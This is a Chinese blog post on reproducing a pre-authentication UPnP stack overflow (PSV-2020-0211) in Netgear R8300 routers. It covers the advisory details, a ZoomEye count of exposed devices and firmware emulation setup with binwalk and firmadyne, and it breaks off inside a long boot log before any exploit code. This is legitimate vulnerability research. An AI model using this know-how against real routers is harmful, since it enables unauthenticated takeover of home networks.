1376 lines
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<h1 class="post-title" itemprop="name headline">Netgear_栈溢出漏洞_PSV-2020-0211</h1>
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7k 字
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38 分钟
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复现一个漏洞
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</div>
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<p><strong>固件模拟与UPnP栈溢出利用</strong><br><a href="https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target="_blank" rel="noopener">https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211</a><br> <a href="https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target="_blank" rel="noopener">https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/</a><br><a href="https://paper.seebug.org/1311/#1" target="_blank" rel="noopener">https://paper.seebug.org/1311/#1</a><br><a href="https://www.anquanke.com/post/id/217606" target="_blank" rel="noopener">https://www.anquanke.com/post/id/217606</a></p>
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<h2 id="0x00-漏洞概要"><a href="#0x00-漏洞概要" class="headerlink" title="0x00 漏洞概要"></a><strong>0x00 漏洞概要</strong></h2><table>
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<thead>
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<tr>
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<th>漏洞编号：</th>
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<th>PSV-2020-0211</th>
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</tr>
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</thead>
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<tbody>
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<tr>
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<td>披露时间：</td>
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<td><em> 2020 -07-31 — <a href="https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target="_blank" rel="noopener">Netgear 官方发布安全公告</a> </em> 2020-08-18 – <a href="https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target="_blank" rel="noopener">漏洞公开披露</a></td>
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</tr>
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||
<tr>
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<td>影响厂商：</td>
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<td>Netgear</td>
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||
</tr>
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<tr>
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<td>漏洞类型：</td>
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<td>栈溢出漏洞</td>
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</tr>
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||
<tr>
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<td>漏洞评分（CVSS）：</td>
|
||
<td>9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</td>
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</tr>
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<tr>
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<td>利用条件：</td>
|
||
<td>该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务，无需身份验证。</td>
|
||
</tr>
|
||
<tr>
|
||
<td>漏洞成因：</td>
|
||
<td>该漏洞位于路由器的 UPnP 服务中， 由于解析 SSDP 协议数据包的代码存在缺陷，导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出，进一步控制 PC 执行任意代码。</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h2 id="0x01-威胁范围"><a href="#0x01-威胁范围" class="headerlink" title="0x01 威胁范围"></a><strong>0x01 威胁范围</strong></h2><table>
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<thead>
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<tr>
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<th>影响范围：</th>
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||
<th>R8300 running firmware versions prior to 1.0.2.134</th>
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</tr>
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</thead>
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||
<tbody>
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<tr>
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||
<td>ZoomEye查询结果：</td>
|
||
<td>Netgear R8300共有579台设备暴露在互联网上，绝大部分分布在美国，少量设备出现在欧洲</td>
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</tr>
|
||
<tr>
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<td>—</td>
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||
<td><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png" alt></td>
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||
</tr>
|
||
<tr>
|
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<td></td>
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</tr>
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</tbody>
|
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</table>
|
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<h2 id="0x02-Qemu模拟"><a href="#0x02-Qemu模拟" class="headerlink" title="0x02 Qemu模拟"></a>0x02 Qemu模拟</h2><table>
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<thead>
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<tr>
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<th>真机调试</th>
|
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<th>硬件调试接口</th>
|
||
<th>uart</th>
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||
</tr>
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||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>历史RCE</td>
|
||
<td>NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞</td>
|
||
</tr>
|
||
<tr>
|
||
<td>设备后门开启telnet</td>
|
||
<td><a href="https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500" target="_blank" rel="noopener">Unlocking the Netgear Telnet Console</a></td>
|
||
</tr>
|
||
<tr>
|
||
<td>固件篡改植入telnet</td>
|
||
<td></td>
|
||
</tr>
|
||
<tr>
|
||
<td>固件模拟</td>
|
||
<td>QEMU</td>
|
||
<td>现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。</td>
|
||
</tr>
|
||
<tr>
|
||
<td>树莓派、开发板</td>
|
||
<td>只要 CPU 指令集对的上，就可以跑起来</td>
|
||
</tr>
|
||
<tr>
|
||
<td>firmadyne</td>
|
||
<td>基于qemu定制</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Qemu STM32</td>
|
||
<td></td>
|
||
</tr>
|
||
<tr>
|
||
<td>Avatar</td>
|
||
<td>混合式仿真</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p><a href="http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf" target="_blank" rel="noopener">嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf</a></p>
|
||
<p>由于没有真机，我们采用了固件模拟的方式来搭建分析环境。<br>首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 <a href="http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip" target="_blank" rel="noopener">http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip</a><br>使用binwalk对固件中的特征字符串进行识别，可以看到R8300采用了squashfs文件系统格式</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> binwalk R8300-V1.0.2.130_1.0.99.chk</span><br><span class="line"></span><br><span class="line">DECIMAL HEXADECIMAL DESCRIPTION</span><br><span class="line">--------------------------------------------------------------------------------</span><br><span class="line">58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0</span><br><span class="line">86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes</span><br><span class="line">2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38</span><br></pre></td></tr></table></figure>
|
||
<p>使用 <code>binwalk -Me</code> 提取出 Squashfs 文件系统，可以看到R8300为ARM v5架构.</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> file usr/sbin/upnpd</span><br><span class="line">usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped</span><br></pre></td></tr></table></figure>
|
||
<h3 id="firmadyne"><a href="#firmadyne" class="headerlink" title="firmadyne"></a>firmadyne</h3><p>直接使用firmadyne模拟R8300固件失败，一是网络接口初始化失败，二是NVRAM配置存在问题<br>原因可能是：</p>
|
||
<ul>
|
||
<li>firmadyne只支持armel、mipseb、 mipsel这三种系统内核，相比我们熟悉的armel，armhf代表了另一种不兼容的二进制标准。<a href="https://people.debian.org/~aurel32/qemu/armhf/" target="_blank" rel="noopener">https://people.debian.org/~aurel32/qemu/armhf/</a></li>
|
||
<li><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png" alt></p>
|
||
</li>
|
||
<li><p>NVRAM库劫持失败，firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数<a href="https://github.com/firmadyne/libnvram" target="_blank" rel="noopener">https://github.com/firmadyne/libnvram</a></p>
|
||
</li>
|
||
</ul>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./fat.py 'Path to R8300 firmware file'</span><br><span class="line"></span><br><span class="line"> __ _</span><br><span class="line"> / _| | |</span><br><span class="line"> | |_ __ _ | |_</span><br><span class="line"> | _| / _` | | __|</span><br><span class="line"> | | | (_| | | |_</span><br><span class="line"> |_| \__,_| \__|</span><br><span class="line"></span><br><span class="line"> Welcome to the Firmware Analysis Toolkit - v0.3</span><br><span class="line"> Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation</span><br><span class="line"> By Attify - https://attify.com | @attifyme</span><br><span class="line"></span><br><span class="line">[+] Firmware: R8300-V1.0.2.130_1.0.99.chk</span><br><span class="line">[+] Extracting the firmware...</span><br><span class="line">[+] Image ID: 1</span><br><span class="line">[+] Identifying architecture...</span><br><span class="line">[+] Architecture: armel</span><br><span class="line">[+] Building QEMU disk image...</span><br><span class="line">[+] Setting up the network connection, please standby...</span><br><span class="line">[+] Network interfaces: []</span><br><span class="line">[+] All set! Press ENTER to run the firmware...</span><br><span class="line">[+] When running, press Ctrl + A X to terminate qemu</span><br><span class="line">**[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**</span><br><span class="line">[sudo] password for yjy:</span><br><span class="line">Starting firmware emulation... use Ctrl-a + x to exit</span><br><span class="line">[ 0.000000] Booting Linux on physical CPU 0x0</span><br><span class="line">[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016</span><br><span class="line">[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d</span><br><span class="line">[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache</span><br><span class="line">[ 0.000000] Machine model: linux,dummy-virt</span><br><span class="line">[ 0.000000] debug: ignoring loglevel setting.</span><br><span class="line">[ 0.000000] Memory policy: Data cache writeback</span><br><span class="line">[ 0.000000] On node 0 totalpages: 65536</span><br><span class="line">[ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000</span><br><span class="line">[ 0.000000] Normal zone: 512 pages used for memmap</span><br><span class="line">[ 0.000000] Normal zone: 0 pages reserved</span><br><span class="line">[ 0.000000] Normal zone: 65536 pages, LIFO batch:15</span><br><span class="line">[ 0.000000] CPU: All CPU(s) started in SVC mode.</span><br><span class="line">[ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768</span><br><span class="line">[ 0.000000] pcpu-alloc: [0] 0</span><br><span class="line">[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024</span><br><span class="line">[ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0</span><br><span class="line">[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)</span><br><span class="line">[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)</span><br><span class="line">[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)</span><br><span class="line">[ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)</span><br><span class="line">[ 0.000000] Virtual kernel memory layout:</span><br><span class="line">[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)</span><br><span class="line">[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)</span><br><span class="line">[ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)</span><br><span class="line">[ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)</span><br><span class="line">[ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB)</span><br><span class="line">[ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB)</span><br><span class="line">[ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB)</span><br><span class="line">[ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB)</span><br><span class="line">[ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB)</span><br><span class="line">[ 0.000000] NR_IRQS:16 nr_irqs:16 16</span><br><span class="line">[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).</span><br><span class="line">[ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns</span><br><span class="line">[ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns</span><br><span class="line">[ 0.000128] Switching to timer-based delay loop, resolution 16ns</span><br><span class="line">[ 0.001495] Console: colour dummy device 80x30</span><br><span class="line">[ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)</span><br><span class="line">[ 0.001695] pid_max: default: 32768 minimum: 301</span><br><span class="line">[ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)</span><br><span class="line">[ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)</span><br><span class="line">[ 0.005250] CPU: Testing write buffer coherency: ok</span><br><span class="line">[ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298</span><br><span class="line">[ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0</span><br><span class="line">[ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns</span><br><span class="line">[ 0.025312] NET: Registered protocol family 16</span><br><span class="line">[ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations</span><br><span class="line">[ 0.028535] cpuidle: using governor ladder</span><br><span class="line">[ 0.028604] cpuidle: using governor menu</span><br><span class="line">[ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48)</span><br><span class="line">[ 0.037808] Serial: AMBA PL011 UART driver</span><br><span class="line">[ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1</span><br><span class="line">[ 0.093732] console [ttyS0] enabled</span><br><span class="line">[ 0.106203] vgaarb: loaded</span><br><span class="line">[ 0.108624] SCSI subsystem initialized</span><br><span class="line">[ 0.111674] usbcore: registered new interface driver usbfs</span><br><span class="line">[ 0.115340] usbcore: registered new interface driver hub</span><br><span class="line">[ 0.118879] usbcore: registered new device driver usb</span><br><span class="line">[ 0.126521] cfg80211: Calling CRDA to update world regulatory domain</span><br><span class="line">[ 0.133497] Switched to clocksource arch_sys_counter</span><br><span class="line">[ 0.147183] NET: Registered protocol family 2</span><br><span class="line">[ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes)</span><br><span class="line">[ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)</span><br><span class="line">[ 0.162885] TCP: Hash tables configured (established 2048 bind 2048)</span><br><span class="line">[ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes)</span><br><span class="line">[ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)</span><br><span class="line">[ 0.176698] NET: Registered protocol family 1</span><br><span class="line">[ 0.179833] PCI: CLS 0 bytes, default 64</span><br><span class="line">[ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision)</span><br><span class="line">[ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes)</span><br><span class="line">[ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher</span><br><span class="line">[ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.</span><br><span class="line">[ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc.</span><br><span class="line">[ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)</span><br><span class="line">[ 0.225512] io scheduler noop registered</span><br><span class="line">[ 0.228340] io scheduler cfq registered (default)</span><br><span class="line">[ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0</span><br><span class="line">[ 0.237165] ------------[ cut here ]------------</span><br><span class="line">[ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c()</span><br><span class="line">[ 0.248160] sysfs: cannot create duplicate filename '/class/gpio'</span><br><span class="line">[ 0.252258] Modules linked in:</span><br><span class="line">[ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1</span><br><span class="line">[ 0.259118] Hardware name: Generic DT based system</span><br><span class="line">[ 0.262292] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)</span><br><span class="line">[ 0.262401] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)</span><br><span class="line">[ 0.262472] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)</span><br><span class="line">[ 0.262560] [<c0024b08>] (warn_slowpath_fmt) from [<c00e363c>] (sysfs_warn_dup+0x50/0x6c)</span><br><span class="line">[ 0.262619] [<c00e363c>] (sysfs_warn_dup) from [<c00e3714>] (sysfs_create_dir_ns+0x74/0x84)</span><br><span class="line">[ 0.262679] [<c00e3714>] (sysfs_create_dir_ns) from [<c018e6ac>] (kobject_add_internal+0xb8/0x2ac)</span><br><span class="line">[ 0.262742] [<c018e6ac>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)</span><br><span class="line">[ 0.262801] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)</span><br><span class="line">[ 0.262860] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)</span><br><span class="line">[ 0.262918] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)</span><br><span class="line">[ 0.262981] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)</span><br><span class="line">[ 0.263053] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)</span><br><span class="line">[ 0.263113] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)</span><br><span class="line">[ 0.263229] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)</span><br><span class="line">[ 0.263287] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)</span><br><span class="line">[ 0.263383] ---[ end trace b31221f46a8dc90e ]---</span><br><span class="line">[ 0.263460] ------------[ cut here ]------------</span><br><span class="line">[ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac()</span><br><span class="line">[ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory.</span><br><span class="line">[ 0.263639] Modules linked in:</span><br><span class="line">[ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1</span><br><span class="line">[ 0.263744] Hardware name: Generic DT based system</span><br><span class="line">[ 0.263788] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)</span><br><span class="line">[ 0.263846] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)</span><br><span class="line">[ 0.263906] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)</span><br><span class="line">[ 0.263970] [<c0024b08>] (warn_slowpath_fmt) from [<c018e834>] (kobject_add_internal+0x240/0x2ac)</span><br><span class="line">[ 0.264032] [<c018e834>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)</span><br><span class="line">[ 0.264091] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)</span><br><span class="line">[ 0.268034] [<c02090b4>] (__class_register) from [<c02091e4>] 